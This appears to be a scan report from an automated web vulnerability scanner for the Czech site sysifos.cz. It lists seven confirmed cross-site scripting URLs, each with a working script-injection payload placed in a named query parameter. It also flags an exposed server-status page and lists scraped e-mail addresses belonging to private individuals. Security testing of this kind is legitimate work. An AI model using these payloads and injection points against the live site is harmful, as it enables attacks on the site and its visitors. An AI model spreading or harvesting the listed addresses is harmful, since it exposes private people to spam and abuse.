sysifos.cz

XSS (Cross-site Scripting)

Severity: Important
Confirmation: Confirmed
URL: http://www.sysifos.cz/index.php?id=homepage&idd='"--></style></script><script>alert(0x000037)</script>&last=3
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: idd
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000037)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.sysifos.cz/index.php?id=hledat&lang='"--></style></script><script>alert(0x000036)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: lang
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000036)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.sysifos.cz/index.php?id=archiv&idd='"--></style></script><script>alert(0x000072)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: idd
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000072)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.sysifos.cz/index.php?id=homepage&idd=all&lang='"--></style></script><script>alert(0x000073)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: lang
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000073)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.sysifos.cz/index.php?id=vypis&sec='"--></style></script><script>alert(0x0000AE)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: sec
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x0000AE)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.sysifos.cz/index.php?id=vypis&kategorie_odkaz=novinky&sec='"--></style></script><script>alert(0x0000DF)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: sec
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x0000DF)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.sysifos.cz/tisk.php?id=vypis&sec='"--></style></script><script>alert(0x000298)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: sec
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000298)</script>


|||  Severity :  Medium
Confirmation: Confirmed
URL: http://www.sysifos.cz/server-status
Vulnerability Classifications:  PCI 6.5.6 OWASP A6 CWE-16

|||  E-mail Address Disclosure

Severity: Information
Confirmation: Confirmed
URL: http://www.sysifos.cz/

Found E-mails:

zdenek.jonak@hotmail.com
vybor@sisyfos.cz
milionovacena@sisyfos.cz
dotazy@sisyfos.cz
kevinh@kevcom.com
mike@hyperreal.org
zdravi@studiohedis.cz
ivahedlova@volny.cz
hudec@vasilcuk.cz